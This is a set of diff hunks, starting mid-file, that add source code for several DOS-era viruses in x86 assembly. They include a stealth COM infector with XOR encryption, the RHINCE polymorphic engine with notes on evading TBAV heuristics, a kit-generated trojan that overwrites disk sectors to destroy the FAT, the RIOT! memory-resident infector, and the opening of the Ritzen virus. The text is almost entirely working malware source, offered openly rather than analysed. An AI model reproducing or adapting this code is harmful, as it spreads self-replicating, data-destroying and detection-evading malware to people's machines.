mov word ptr cs:[dia],dx ;put the day
|
||||
and cx,word ptr cs:[fecha] ;calculate the seconds
|
||||
cmp cx,word ptr cs:[fecha] ;is ecual to 58? (DEDICATE TO N-POX)
|
||||
jne seguir ;yes! the file is infected!
|
||||
jmp cerrar ;
|
||||
;------------------------------------------------------------
|
||||
seguir: ;
|
||||
mov ax,4202h ;move the pointer to end
|
||||
call movedor ;of the file
|
||||
;------------------------------------------------------------
|
||||
push cs ;
|
||||
pop ds ;
|
||||
sub ax,3 ;calculate the
|
||||
mov word ptr [cs:largo],ax ;jmp long
|
||||
;-------------------------------------------------------------
|
||||
mov ax,04200h ;move the pointer to
|
||||
call movedor ;start of file
|
||||
;----------------------------------------------------------
|
||||
push cs ;
|
||||
pop ds ;read the 3 first bytes
|
||||
mov ah,3fh ;
|
||||
mov cx,3 ;
|
||||
lea dx,[cs:real] ;put the bytes in cs:[real]
|
||||
int 21h ;
|
||||
;----------------------------------------------------------
|
||||
cmp word ptr cs:[real],05a4dh ;the 2 first bytes = 'MZ' ?
|
||||
jne er1 ;yes! is a EXE... fuckkk!
|
||||
;----------------------------------------------------------
|
||||
jmp cerrar
|
||||
er1:
|
||||
;----------------------------------------------------------
|
||||
mov ax,4200h ;move the pointer
|
||||
call movedor ;to start fo file
|
||||
;----------------------------------------------------------
|
||||
push cs ;
|
||||
pop ds ;
|
||||
mov ah,40h ;
|
||||
mov cx,1 ;write the JMP
|
||||
lea dx,[cs:jump] ;instruccion in the
|
||||
int 21h ;fist byte of the file
|
||||
;----------------------------------------------------------
|
||||
mov ah,40h ;write the value of jmp
|
||||
mov cx,2 ;in the file
|
||||
lea dx,[cs:largo] ;
|
||||
int 21h ;
|
||||
;----------------------------------------------------------
|
||||
mov ax,04202h ;move the pointer to
|
||||
call movedor ;end of file
|
||||
;----------------------------------------------------------
|
||||
push cs ;
|
||||
pop ds ;move the code
|
||||
push cs ;of my virus
|
||||
pop es ;to cs:end+50
|
||||
cld ;for encrypt
|
||||
mov si,100h ;
|
||||
mov di,offset fin + 50 ;
|
||||
mov cx,offset fin - 100h ;
|
||||
rep movsb ;
|
||||
;----------------------------------------------------------
|
||||
mov cx,offset fin
|
||||
mov di,offset fin + 50 + (offset crypt2 - offset start) ;virus
|
||||
enc: ;
|
||||
xor byte ptr cs:[di],1 ;encrypt the virus
|
||||
inc di ;code
|
||||
loop enc ;
|
||||
;---------------------------------------------------------
|
||||
mov cx,offset fin
|
||||
mov di,offset fin + 50 + (offset crypt - offset start) ;virus
|
||||
mov dx,1
|
||||
enc2: ;
|
||||
|
||||
ÿsub byte ptr [di],05fh
|
||||
add byte ptr [di],01fh
|
||||
sub word ptr [di],0e6e9h
|
||||
dec byte ptr [di]
|
||||
dec word ptr [di]
|
||||
ÿinc di
|
||||
inc di ;the virus code
|
||||
loop enc2 ;
|
||||
;--------------------------------------------
|
||||
mov ah,40h ;
|
||||
mov cx,offset fin - offset start ;copy the virus
|
||||
mov dx,offset fin + 50 ;to end of file
|
||||
int 21h ;
|
||||
;----------------------------------------------------------
|
||||
cerrar: ;
|
||||
;restore the
|
||||
mov ax,5701h ;date and time
|
||||
mov cx,word ptr cs:[hora] ;file
|
||||
mov dx,word ptr cs:[dia] ;
|
||||
or cx,word ptr cs:[fecha] ;and mark the seconds
|
||||
int 21h ;
|
||||
;----------------------------------------------------------
|
||||
mov ah,3eh ;
|
||||
int 21h ;close the file
|
||||
;----------------------------------------------------------
|
||||
pop ds ;
|
||||
pop es ;restore the
|
||||
pop bp ;registers
|
||||
pop di ;
|
||||
pop si ;
|
||||
popa ;
|
||||
popf ;
|
||||
;----------------------------------------------------------
|
||||
pusha ;
|
||||
;
|
||||
mov ax,4301h ;restores the atributes
|
||||
mov cx,word ptr cs:[attrib] ;of the file
|
||||
int 21h ;
|
||||
;
|
||||
popa ;
|
||||
;----------------------------------------------------------
|
||||
pushf ;
|
||||
pusha ; 8-( = f-prot
|
||||
push si ;
|
||||
push di ; 8-( = tbav
|
||||
push bp ;
|
||||
push es ; 8-) = I'm
|
||||
push ds ;
|
||||
;----------------------------------------------------------
|
||||
mov ax,2524H ;
|
||||
lea bx,error ;restore the
|
||||
mov ds,bx ;errors handler
|
||||
lea bx,error+2 ;
|
||||
int 21h ;
|
||||
;----------------------------------------------------------
|
||||
pop ds ;
|
||||
pop es ;
|
||||
pop bp ;restore the
|
||||
pop di ;resgisters
|
||||
pop si ;
|
||||
popa ;
|
||||
popf ;
|
||||
;----------------------------------------------------------
|
||||
JMP A3 ;jmp to orig. INT 21
|
||||
;
|
||||
;**********************************************************
|
||||
; SUBRUTINES AREA
|
||||
;**********************************************************
|
||||
;
|
||||
movedor: ;
|
||||
;
|
||||
xor cx,cx ;use to move file pointer
|
||||
xor dx,dx ;
|
||||
int 21h ;
|
||||
ret ;
|
||||
;----------------------------------------------------------
|
||||
all: ;
|
||||
;
|
||||
XOR AL,AL ;use to set
|
||||
iret ;error flag
|
||||
|
||||
;***********************************************************
|
||||
; DATA AREA
|
||||
;***********************************************************
|
||||
largo dw ?
|
||||
jump db 0e9h
|
||||
real db 0cdh,20h,0
|
||||
hora dw ?
|
||||
dia dw ?
|
||||
attrib dw ?
|
||||
int21 dd ?
|
||||
error dd ?
|
||||
|
||||
ÿ;---------------------------------
|
||||
action: ;Call label
|
||||
MOV AH,2AH ;
|
||||
INT 21H ;get date
|
||||
CMP Dl,byte ptr cs:[action_dia+bp] ;is equal to my day?
|
||||
JE cont ;nop! fuck ret
|
||||
cmp byte ptr cs:[action_dia+bp],32 ;
|
||||
jne no_day ;
|
||||
cont: ;
|
||||
cmp dh,byte ptr cs:[action_mes+bp] ;is equal to my month?
|
||||
je set ;
|
||||
cmp byte ptr cs:[action_mes+bp],13 ;
|
||||
jne NO_DAY ;nop! fuck ret
|
||||
set: ;
|
||||
mov AH,9 ;yeah!!
|
||||
MOV DX,OFFSET PAO ;print my text!
|
||||
INT 21H ;now!
|
||||
INT 20H ;an finsh te program
|
||||
NO_DAY: ;label to incorrect date
|
||||
ret ;return from call
|
||||
;---------------------------------
|
||||
|
||||
ÿ
|
||||
PAO:
|
||||
DB 10,13,'YOU ARE INFECTED WITH A VIRUS!!! "RETURN FIRE!" ver 2.8 "F-prot cannot survive!!"','$'
|
||||
|
||||
;*****************************************************
|
||||
dir_s:
|
||||
pushf
|
||||
push cs
|
||||
call a3 ;Get file Stats
|
||||
test al,al ;Good FCB?
|
||||
jnz no_good ;nope
|
||||
push ax
|
||||
push bx
|
||||
push es
|
||||
mov ah,51h ;Is this Undocmented? huh...
|
||||
int 21h
|
||||
mov es,bx
|
||||
cmp bx,es:[16h]
|
||||
jnz not_infected
|
||||
mov bx,dx
|
||||
mov al,[bx]
|
||||
push ax
|
||||
mov ah,2fh ;Get file DTA
|
||||
int 21h
|
||||
pop ax
|
||||
inc al
|
||||
jnz fcb_okay
|
||||
add bx,7h
|
||||
fcb_okay: mov ax,es:[bx+17h]
|
||||
and ax,1fh ;UnMask Seconds Field
|
||||
xor al,byte ptr cs:fechad
|
||||
jnz not_infected
|
||||
and byte ptr es:[bx+17h],0e0h
|
||||
sub es:[bx+1dh],OFFSET FIN - OFFSET START ;Yes minus virus size
|
||||
sbb es:[bx+1fh],ax
|
||||
not_infected:pop es
|
||||
pop bx
|
||||
pop ax
|
||||
no_good: iret
|
||||
;********************************************************************
|
||||
; THIS DIR STEALTH METOD IS EXTRAC FROM NUKEK INFO JOURNAL 4 & N-POX
|
||||
;*********************************************************************
|
||||
|
||||
ÿaction_dia Db 07H ;day for the action
|
||||
action_mes Db 04H ;month for the action
|
||||
FECHA DW 01eH ;Secon for mark
|
||||
FECHAd Db 01eH ;Secon for mark dir st
|
||||
fin:
|
||||
code ends
|
||||
end start
|
|
@ -0,0 +1,315 @@
|
|||
; RHINCE 2.0, by Rhincewind [Vlad]
|
||||
;
|
||||
; This is the accompanying textfile for RHINCE v2.0, where RHINCE stands for
|
||||
; "Rickety and Hardly Insidious yet New Chaos Engine". There's been quite
|
||||
; a lot of feedback on the original release, both positive and negative. The
|
||||
; negative reviews mainly dealt with the engine being so obscenely
|
||||
; ineffective. To you I say, you missed the point: RHINCE was and is an
|
||||
; experiment in writing small polymorphic engines using tables.
|
||||
;
|
||||
; I rewrote RHINCE because I came up with a method that I hoped would make
|
||||
; it much, much shorter, say, under 300 bytes. Not so I'm afraid, the pure
|
||||
; v1.0 rewrite amounted to 367 bytes.
|
||||
;
|
||||
; This version doesn't use encoding routines that use tables. No, it uses
|
||||
; one encoding routine and a set of tables. In almost every engine, the
|
||||
; routines all have a certain structure in common and yet they're never quite
|
||||
; the same so optimisation by using subroutines is difficult. This is an
|
||||
; easier approach:
|
||||
;
|
||||
; Encoding takes place byte for byte, and a tablestring is used to describe
|
||||
; it's specifics. First byte in the string is the commandbyte:
|
||||
;
|
||||
; bit 4 quote next byte.
|
||||
; bit 3 get random choice. next byte is the number of choices,
|
||||
; followed by the choices themselves.
|
||||
; bit 2 next byte is a mask indicating which bits to randomise.
|
||||
; bit 1 next byte is a mask for ANDing, the byte thereafter
|
||||
; is an illegal choice for the masked byte.
|
||||
; bit 0 next byte is a byte displacement used to jump to.
|
||||
; (for table optimisation)
|
||||
;
|
||||
; The commandbyte is followed by the arguments for the bit 4 command if it
|
||||
; was set, then the arguments for bit 3 if it was set, et cetera. It's all
|
||||
; in the code.
|
||||
;
|
||||
; So the original rewrite was finished but the engine's performance was still
|
||||
; approximately zero. Tweaking done:
|
||||
;
|
||||
; ** DAA DAS AAA AAS opcodes removed. flagged by TBAV (@)
|
||||
; ** $+2 flowcontrol removed. flagged by TBAV (G)
|
||||
; JO/JNO branching flagged by TBAV (@)
|
||||
; ** Forced first opcode to not be an flagged by TBAV (G)
|
||||
; opcode needing previous register
|
||||
; contents
|
||||
; ** No longer builds decryptor inside flagged by TBAV (#)
|
||||
; code, but rather on the heap.
|
||||
;
|
||||
; RHINCE v2.0 is almost TBAV heuristics proof. A negligible amount of
|
||||
; samples still gets G flags on pointer references in the first 32 bytes.
|
||||
; Then there is the occasional E, U, t or D flag probably caused
|
||||
; by Thunderbyte interpreting the random byte and word values as code,
|
||||
; i.e. signature scanning.
|
||||
;
|
||||
; Thunderbyte's heuristics are really interesting. The G flag for operations
|
||||
; with uninitialised registers can only be triggered by the first 32 bytes
|
||||
; of code (or so). The $+2 flowcontrol check is active throughout the
|
||||
; program but the check for self-modifying code (which is how it detected
|
||||
; v1.0) is only active in the first 512 bytes.
|
||||
;
|
||||
; Call Parameters: CX length of code to encrypt
|
||||
; DS:DX pointer to code to encrypt
|
||||
; BP offset code will be run at.
|
||||
; Return Parameters: CX length of decryptor+encrypted code.
|
||||
; DS:DX pointer to decryptor.
|
||||
;
|
||||
; Caution:Engine assumes CS=DS=ES. Also as said above, RHINCE v2.0 builds
|
||||
; a decryptor on the heap. Please ensure that the heapspace is there!
|
||||
; In COM infection mind the maximum filelength you can infect. In
|
||||
; EXE infection you should check, and alter if necessary, the
|
||||
; MINALLOC header field. If alteration of MINALLOC was necessary,
|
||||
; see if MAXALLOC>MINALLOC. If not set MAXALLOC==MINALLOC.
|
||||
;
|
||||
; RHINCE v2.0: 377 bytes undiluted polymorphic generation code.
|
||||
; - Rhince.
|
||||
|
||||
.model tiny
|
||||
.code
|
||||
org 100h
|
||||
|
||||
;Below is a small demogenerator. Assemble & run this file as is to generate
|
||||
;an encrypted HELLO.COM file, cut/paste the engine code otherwise.
|
||||
|
||||
start:
|
||||
mov ah,3ch
|
||||
xor cx,cx
|
||||
mov dx, offset file
|
||||
int 21h
|
||||
push ax
|
||||
mov dx, offset prog
|
||||
mov cx, (endprog-prog)
|
||||
mov bp, 100h
|
||||
call mut_eng
|
||||
pop bx
|
||||
mov ah, 40h
|
||||
int 21h
|
||||
mov ah, 3eh
|
||||
int 21h
|
||||
mov ah,9
|
||||
mov dx, offset msg
|
||||
int 21h
|
||||
int 20h
|
||||
file db 'hello.com',0
|
||||
msg db 'Run HELLO.COM to decrypt and print a sacred VLAD scripture$'
|
||||
prog: mov ah,9
|
||||
call $+3
|
||||
delta: pop dx
|
||||
add dx, (str-delta)
|
||||
int 21h
|
||||
int 20h
|
||||
str db 'At the word of the dark judges, that word which '
|
||||
db 'tortures the spirit,',0dh,0ah
|
||||
db 'Kantza-Merada, even the goddess, was turned to a '
|
||||
db 'dead body,',0dh,0ah
|
||||
db 'Defiled, polluted, a corpse hangin'' from a stake.'
|
||||
db 0dh,0ah,0dh,0ah
|
||||
db 'Most strangely, Kantza-Merada, are the laws of the '
|
||||
db 'dark world effected.',0dh,0ah
|
||||
db 'O Kantza-Merada, do not question the laws of the '
|
||||
db 'nether world.',0dh,0ah,0dh,0ah
|
||||
db 'The goddess from the great above descended to the '
|
||||
db 'great below.',0dh,0ah
|
||||
db 'To the nether world of darkness she descended.',0dh,0ah
|
||||
db 'The goddess abandoned heaven, abandoned earth,',0dh,0ah
|
||||
db 'Abandoned dominion, abandoned ladyship,',0dh,0ah
|
||||
db 'To the nether world of darkness she descended.$'
|
||||
endprog:
|
||||
|
||||
;------ Engine starts here.
|
||||
|
||||
mut_eng: mov di, offset resulting_code
|
||||
inc cx
|
||||
shr cx,1
|
||||
mov word ptr [di-(resulting_code-cntr)],cx
|
||||
call get_rand
|
||||
mov ah,al
|
||||
call get_rand
|
||||
mov word ptr [di-(resulting_code-seed)],ax
|
||||
push bp
|
||||
push dx
|
||||
call get_rand
|
||||
and ax, 1
|
||||
call do_garbage_manual
|
||||
mov cx, 9
|
||||
genloop: push cx
|
||||
call get_rand
|
||||
and ax,0fh
|
||||
inc ax
|
||||
xchg ax,cx
|
||||
gloop: push cx
|
||||
call do_garbage
|
||||
pop cx
|
||||
loop gloop
|
||||
mov ax, 0c72eh
|
||||
stosw
|
||||
mov al, 06
|
||||
stosb
|
||||
pop cx
|
||||
mov bx,cx
|
||||
add bx,bx
|
||||
mov word ptr ds:[workspace-2+bx],di
|
||||
stosw
|
||||
stosw
|
||||
loop genloop
|
||||
pop si
|
||||
pop bp
|
||||
mov al, 0e9h
|
||||
stosb
|
||||
mov cx, word ptr cntr
|
||||
mov ax,cx
|
||||
add ax,cx
|
||||
stosw
|
||||
add ax, (endframe-framework)
|
||||
neg ax
|
||||
mov jmpback, ax
|
||||
lea bx, [di+bp+(-(offset resulting_code))]
|
||||
mov word ptr ptr, bx
|
||||
cryptloop:
|
||||
lodsw
|
||||
xor ax, word ptr seed
|
||||
stosw
|
||||
loop cryptloop
|
||||
mov dx,di
|
||||
push di
|
||||
mov si, offset framework
|
||||
mov bx, offset resulting_code
|
||||
push bx
|
||||
sub bp,bx
|
||||
mov cx,9
|
||||
fill_loop: dec bx
|
||||
dec bx
|
||||
mov di, word ptr [bx]
|
||||
lea ax, [bp+si+(-(offset framework))]
|
||||
add ax,dx
|
||||
stosw
|
||||
movsw
|
||||
loop fill_loop
|
||||
pop dx
|
||||
pop cx
|
||||
sub cx,dx
|
||||
ret
|
||||
get_rand: in al,40h
|
||||
rol al,1 ;RNG v2.0
|
||||
xor al, 0ffh
|
||||
org $-1
|
||||
Randomize db ?
|
||||
mov randomize,al
|
||||
ret
|
||||
do_garbage: call get_rand
|
||||
and ax, 0fh
|
||||
do_garbage_manual:
|
||||
mov bx,ax
|
||||
mov bl, byte ptr [calltable+bx]
|
||||
xor bh,bh
|
||||
lea bp, [bx+poly]
|
||||
interpret_string:
|
||||
mov si,bp
|
||||
cwd
|
||||
lodsb
|
||||
mov dh,al
|
||||
test dh,16
|
||||
jz dont_quote
|
||||
lodsb
|
||||
mov dl,al
|
||||
dont_quote: test dh,8
|
||||
jz dont_select
|
||||
lodsb
|
||||
cbw
|
||||
xchg ax,cx
|
||||
call get_rand
|
||||
xor ah,ah
|
||||
div cl
|
||||
xchg al,ah
|
||||
cbw
|
||||
xchg ax,bx
|
||||
mov dl, byte ptr ds:[si+bx]
|
||||
add si,cx
|
||||
dont_select: test dh,4
|
||||
jz no_random_masking
|
||||
call get_rand
|
||||
and al, byte ptr ds:[si]
|
||||
or dl,al
|
||||
inc si
|
||||
no_random_masking:
|
||||
test dh,2
|
||||
jz no_illegal
|
||||
lodsb
|
||||
and al,dl
|
||||
inc si
|
||||
cmp al, byte ptr ds:[si-1]
|
||||
jz interpret_string
|
||||
no_illegal: mov bp,si
|
||||
mov al,dl
|
||||
stosb
|
||||
test dh,1
|
||||
jz no_jmp
|
||||
lodsb
|
||||
cbw
|
||||
add bp,ax
|
||||
no_jmp: cmp byte ptr ds:[bp],0
|
||||
jnz interpret_string
|
||||
ret
|
||||
calltable: db rnd_mov_8 - poly
|
||||
db rnd_mov_16 - poly
|
||||
db onebyte - poly
|
||||
db incs - poly
|
||||
db incs - poly
|
||||
db arithmetic_8 - poly
|
||||
db arithmetic_16 - poly
|
||||
db big_class_0_40 - poly
|
||||
db onebyte - poly
|
||||
db big_class_40_80 - poly
|
||||
db big_class_80_c0 - poly
|
||||
db big_class_c0_100 - poly
|
||||
db rnd_mov_8 - poly
|
||||
db rnd_mov_16 - poly
|
||||
db rnd_mov_8 - poly
|
||||
db rnd_mov_16 - poly
|
||||
endcalltable:
|
||||
poly:
|
||||
big_class_0_40: db 00010100b,00000010b,00111001b,00000110b,00011111b
|
||||
db 00000111b,6,00
|
||||
big_class_40_80:db 00010100b,00100010b,00011001b,00010111b,01000000b
|
||||
db 00011111b,00000111b,6,rndbyte-$
|
||||
big_class_80_c0:db 00010100b,00100010b,00011001b,00010111b,10000000b
|
||||
db 00011111b,00000111b,6,rndword-$
|
||||
big_class_c0_100:
|
||||
db 00010100b,00100010b,00011001b,00010110b,11000000b
|
||||
db 00011111b,00000111b,6,00
|
||||
flow_control: db 00010100b,72h,7,00010000b,0,0
|
||||
arithmetic_8: db 00010101b,00000100b,00111000b,rndbyte-$
|
||||
arithmetic_16: db 00010101b,00000101b,00111000b,rndword-$
|
||||
rnd_mov_8: db 00010101b,0b0h,7,rndbyte-$
|
||||
rnd_mov_16: db 00010110b,0b8h,07,07,04
|
||||
rndword: db 00000100b,0ffh
|
||||
rndbyte: db 00000100b,0ffh,0
|
||||
incs: db 00010110b,40h,0fh,7,4,0
|
||||
onebyte: db 00001000b,(end_onebyters-onebyters)
|
||||
onebyters: db 0fdh,0fch,0fbh,0f9h,0f8h,0f5h,0d7h,9fh,9eh,99h,98h
|
||||
db 91h,92h,93h,95h,96h,97h
|
||||
end_onebyters: db 0
|
||||
framework: cld
|
||||
mov si, 1234h
|
||||
ptr equ $-2
|
||||
mov cx, 1234h
|
||||
cntr equ $-2
|
||||
frameloop: xor word ptr cs:[si], 1234h
|
||||
seed equ $-2
|
||||
lodsw
|
||||
loop frameloop
|
||||
db 0e9h
|
||||
jmpback dw ?
|
||||
endframe:
|
||||
workspace db endframe-framework dup (?)
|
||||
resulting_code:
|
||||
end start
|
|
@ -0,0 +1,83 @@
|
|||
; RICHARDS.ASM -- R. Simmons Trojan
|
||||
; Created with Nowhere Man's Virus Creation Laboratory v1.00
|
||||
; Written by Nowhere Man
|
||||
|
||||
virus_type equ 3 ; Trojan Horse
|
||||
is_encrypted equ 1 ; We're encrypted
|
||||
tsr_virus equ 0 ; We're not TSR
|
||||
|
||||
code segment byte public
|
||||
assume cs:code,ds:code,es:code,ss:code
|
||||
org 0100h
|
||||
|
||||
start label near
|
||||
|
||||
main proc near
|
||||
call encrypt_decrypt ; Decrypt the virus
|
||||
|
||||
start_of_code label near
|
||||
|
||||
stop_tracing: mov cx,09EBh
|
||||
mov ax,0FE05h ; Acutal move, plus a HaLT
|
||||
jmp $-2
|
||||
add ah,03Bh ; AH now equals 025h
|
||||
jmp $-10 ; Execute the HaLT
|
||||
mov bx,offset null_vector ; BX points to new routine
|
||||
push cs ; Transfer CS into ES
|
||||
pop es ; using a PUSH/POP
|
||||
int 021h
|
||||
mov al,1 ; Disable interrupt 1, too
|
||||
int 021h
|
||||
jmp short skip_null ; Hop over the loop
|
||||
null_vector: jmp $ ; An infinite loop
|
||||
skip_null: mov byte ptr [lock_keys + 1],130 ; Prefetch unchanged
|
||||
lock_keys: mov al,128 ; Change here screws DEBUG
|
||||
out 021h,al ; If tracing then lock keyboard
|
||||
|
||||
mov si,offset data00 ; SI points to data
|
||||
mov ah,0Eh ; BIOS display char. function
|
||||
display_loop: lodsb ; Load the next char. into AL
|
||||
or al,al ; Is the character a null?
|
||||
je disp_strnend ; If it is, exit
|
||||
int 010h ; BIOS video interrupt
|
||||
jmp short display_loop ; Do the next character
|
||||
disp_strnend:
|
||||
|
||||
mov ax,0002h ; First argument is 2
|
||||
mov cx,0010h ; Second argument is 16
|
||||
cli ; Disable interrupts (no Ctrl-C)
|
||||
cwd ; Clear DX (start with sector 0)
|
||||
int 026h ; DOS absolute write interrupt
|
||||
sti ; Restore interrupts
|
||||
|
||||
|
||||
mov ax,04C00h ; DOS terminate function
|
||||
int 021h
|
||||
main endp
|
||||
|
||||
data00 db "C'mon now, trim that FAT! 1 and 2 and 3 and....",13,10,10,0
|
||||
|
||||
vcl_marker db "[VCL]",0 ; VCL creation marker
|
||||
|
||||
|
||||
note db "The Richard Simmons Trojan; gu"
|
||||
db "aranteed to get rid of that un"
|
||||
db "sightly FAT in no time!",0
|
||||
db "[Richard Simmons Trojan]",0
|
||||
db "Nowhere Man, [NuKE] '92",0
|
||||
|
||||
end_of_code label near
|
||||
|
||||
encrypt_decrypt proc near
|
||||
mov si,offset start_of_code ; SI points to code to decrypt
|
||||
mov cx,(end_of_code - start_of_code) / 2 ; CX holds length
|
||||
xor_loop: xor word ptr [si],06734h ; XOR a word by the key
|
||||
inc si ; Do the next word
|
||||
inc si ;
|
||||
loop xor_loop ; Loop until we're through
|
||||
ret ; Return to caller
|
||||
encrypt_decrypt endp
|
||||
finish label near
|
||||
|
||||
code ends
|
||||
end main
|
|
@ -0,0 +1,186 @@
|
|||
From netcom.com!ix.netcom.com!netnews Sat Nov 12 17:11:15 1994
|
||||
Xref: netcom.com alt.comp.virus:200
|
||||
Path: netcom.com!ix.netcom.com!netnews
|
||||
From: Zeppelin@ix.netcom.com (Mr. G)
|
||||
Newsgroups: alt.comp.virus
|
||||
Subject: Re:Riot
|
||||
Date: 12 Nov 1994 03:37:30 GMT
|
||||
Organization: Netcom
|
||||
Lines: 171
|
||||
Distribution: world
|
||||
Message-ID: <3a1d9q$ma6@ixnews1.ix.netcom.com>
|
||||
References: <3a0s7b$r6i$1@mhadf.production.compuserve.com> <3a1aj7$l5e@ixnews1.ix.netcom.com> <3a1cri$m31@ixnews1.ix.netcom.com>
|
||||
NNTP-Posting-Host: ix-ir4-21.ix.netcom.com
|
||||
|
||||
; RIOT! - Revolution In Our Time
|
||||
|
||||
model tiny
|
||||
code
|
||||
org 100h
|
||||
start:
|
||||
; push ax ; Original push "ax",
|
||||
PUSH DX ; But push dx instead,
|
||||
; and S&S FindViru can't
|
||||
; find it as NINA-256 :)
|
||||
|
||||
mov ax,9753h ; installation check
|
||||
int 21h
|
||||
mov ax,ds
|
||||
dec ax
|
||||
mov ds,ax ; ds->program MCB
|
||||
mov ax,ds:[3] ; get size word
|
||||
push bx
|
||||
push es
|
||||
sub ax,40h ; reserve 40h paragraphs
|
||||
mov bx,ax
|
||||
mov ah,4Ah ; Shrink memory
|
||||
allocation
|
||||
int 21h
|
||||
|
||||
mov ah,48h ; Allocate 3Fh
|
||||
paragraphs
|
||||
mov bx,3Fh ; for the virus
|
||||
int 21h
|
||||
|
||||
mov es,ax ; copy virus to high
|
||||
xor di,di ; memory
|
||||
mov si,offset start + 10h ; start at MCB:110h
|
||||
mov cx,100h ; (same as PSP:100h)
|
||||
rep movsb
|
||||
sub ax,10h ; adjust offset as if it
|
||||
push ax ; originated at 100h
|
||||
mov ax,offset highentry
|
||||
push ax
|
||||
retf
|
||||
|
||||
highentry:
|
||||
mov byte ptr cs:[0F2h],0AAh ; change MCB's owner so
|
||||
the
|
||||
; memory isn't freed
|
||||
when the
|
||||
; program terminates
|
||||
mov ax,3521h ; get int 21h vector
|
||||
int 21h
|
||||
|
||||
mov word ptr cs:oldint21,bx ; save it
|
||||
mov word ptr cs:oldint21+2,es
|
||||
push es
|
||||
pop ds
|
||||
mov dx,bx
|
||||
mov ax,2591h ; redirect int 91h to
|
||||
int 21h
|
||||
int 21h
|
||||
|
||||
push cs
|
||||
pop ds
|
||||
mov dx,offset int21
|
||||
mov al,21h ; set int 21h to virus
|
||||
vector
|
||||
int 21h
|
||||
|
||||
pop ds ; ds->original program
|
||||
PSP
|
||||
pop bx
|
||||
push ds
|
||||
pop es
|
||||
|
||||
ENDFILE dw 100h ; Size of infected COM
|
||||
file
|
||||
|
||||
return_COM:
|
||||
mov di,100h ; restore original
|
||||
mov si,endfile ; file
|
||||
add si,di ; adjust for COM
|
||||
starting
|
||||
mov cx,100h ; offset
|
||||
rep movsb
|
||||
pop ax
|
||||
push ds ; jmp back to original
|
||||
mov bp,100h ; file (PSP:100)
|
||||
push bp
|
||||
retf
|
||||
exit_install:
|
||||
pop ax ; pop CS:IP and flags in
|
||||
pop ax ; order to balance the
|
||||
pop ax ; stack and then exit
|
||||
the
|
||||
jmp short return_COM ; infected COM file
|
||||
int21:
|
||||
cmp ax,9753h ; installation check?
|
||||
je exit_install
|
||||
cmp ax,4B00h ; execute?
|
||||
jne exitint21 ; nope, quit
|
||||
push ax ; save registers
|
||||
push bx
|
||||
push cx
|
||||
push dx
|
||||
push ds
|
||||
call infect
|
||||
pop ds ; restore registers
|
||||
pop dx
|
||||
pop cx
|
||||
pop bx
|
||||
pop ax
|
||||
exitint21:
|
||||
db 0eah ; jmp far ptr
|
||||
oldint21 dd ?
|
||||
|
||||
infect:
|
||||
mov ax,3D02h ; open file read/write
|
||||
int 91h
|
||||
jc exit_infect
|
||||
mov bx,ax
|
||||
mov cx,100h
|
||||
push cs
|
||||
pop ds
|
||||
mov ah,3Fh ; Read first 100h bytes
|
||||
mov dx,offset endvirus
|
||||
int 91h
|
||||
mov ax,word ptr endvirus
|
||||
cmp ax,'MZ' ; exit if EXE
|
||||
je close_exit_infect
|
||||
cmp ax,'ZM' ; exit if EXE
|
||||
je close_exit_infect
|
||||
cmp word ptr endvirus+2,9753h ; exit if already
|
||||
je close_exit_infect ; infected
|
||||
mov al,2 ; go to end of file
|
||||
call move_file_pointer
|
||||
cmp ax,0FEB0h ; exit if too large
|
||||
ja close_exit_infect
|
||||
cmp ax,1F4h ; or too small for
|
||||
jb close_exit_infect ; infection
|
||||
mov endfile,ax ; save file size
|
||||
call write
|
||||
mov al,0 ; go to start of file
|
||||
call move_file_pointer
|
||||
mov dx,100h ; write virus
|
||||
call write
|
||||
close_exit_infect:
|
||||
mov ah,3Eh ; Close file
|
||||
int 91h
|
||||
exit_infect:
|
||||
retn
|
||||
|
||||
move_file_pointer:
|
||||
push dx
|
||||
xor cx,cx
|
||||
xor dx,dx
|
||||
mov ah,42h
|
||||
int 91h
|
||||
pop dx
|
||||
retn
|
||||
|
||||
write:
|
||||
mov ah,40h
|
||||
mov cx,100h
|
||||
int 91h
|
||||
retn
|
||||
|
||||
db ' RIOT!' ; Revolution In Our Time!
|
||||
endvirus:
|
||||
int 20h ; original COM file
|
||||
end start
|
||||
|
||||
|
||||
|
||||
|
|
@ -0,0 +1,495 @@
|
|||
;*****************************************************************************
|
||||
;* *
|
||||
;* The Ritzen Virus *
|
||||
;* *
|
||||
;* (c) '93, by S.A.R. (Students Agains Ritzen) / TridenT *
|
||||
;* *
|
||||
;*****************************************************************************
|
||||
|
||||
.model tiny
|
||||
.radix 16
|
||||
.code
|
||||
|
||||
len equ offset last - atlantic
|
||||
len_para equ len /10h
|
||||
|
||||
mem_size equ 60h
|
||||
|
||||
org 100h
|
||||
|
||||
|
||||
dummy: db 0e9h,00h,00h ; dummy file,
|
||||
; contains jump to
|
||||
; virus code.
|
||||
|
||||
atlantic: call get_ip
|
||||
sub bp,offset atlantic+3
|
||||
|
||||
rest_host: push ds
|
||||
pop ax
|
||||
mov cs:[segm+bp],ax
|
||||
cmp cs:[type_host+bp],'E' ; check if host
|
||||
je fix_exe ; is COM or EXE.
|
||||
|
||||
fix_com: lea si,cs:[com_start+bp] ; fix start of
|
||||
mov ax,es
|
||||
inc ax
|
||||
mov es,ax
|
||||
mov di,00F0h ; com host with
|
||||
mov cx,03h ; original data.
|
||||
rep movsb
|
||||
|
||||
mov ax,es
|
||||
dec ax
|
||||
mov es,ax
|
||||
|
||||
mov ax,0100h ; IP start at 0100h.
|
||||
push cs ; store segment+IP
|
||||
push ax ; on stack.
|
||||
jmp chk_resident
|
||||
|
||||
fix_exe: mov ax,cs:[exe_cs+bp] ; CS and IP on stack
|
||||
mov bx,ax
|
||||
mov ax,ds
|
||||
add ax,bx
|
||||
add ax,10h
|
||||
push ax
|
||||
mov bx,cs:[exe_ip+bp]
|
||||
push bx
|
||||
|
||||
chk_resident: mov dx,0aaaah
|
||||
mov ax,3000h
|
||||
int 21h
|
||||
cmp dx,0bbbbh
|
||||
je end_install
|
||||
|
||||
mem_install: push ds ; let DS points
|
||||
push ds
|
||||
pop ax ; to MCB
|
||||
dec ax ; 2 times to fool
|
||||
dec ax ; heuristic scanners
|
||||
push ax
|
||||
pop ds
|
||||
cmp byte ptr ds:[0010],5ah ; last MCB?
|
||||
jne abort_install ; if no, quit.
|
||||
|
||||
mov ax,ds:[0013] ; adjust memory
|
||||
sub ax,mem_size ; size.
|
||||
mov ds:[0013],ax ; store size in MCB.
|
||||
|
||||
pop ds ; restore original
|
||||
; DS segment.
|
||||
|
||||
sub word ptr ds:[0002],mem_size ; don't forget to
|
||||
; adjust memory
|
||||
; size stored in
|
||||
; PSP to.
|
||||
|
||||
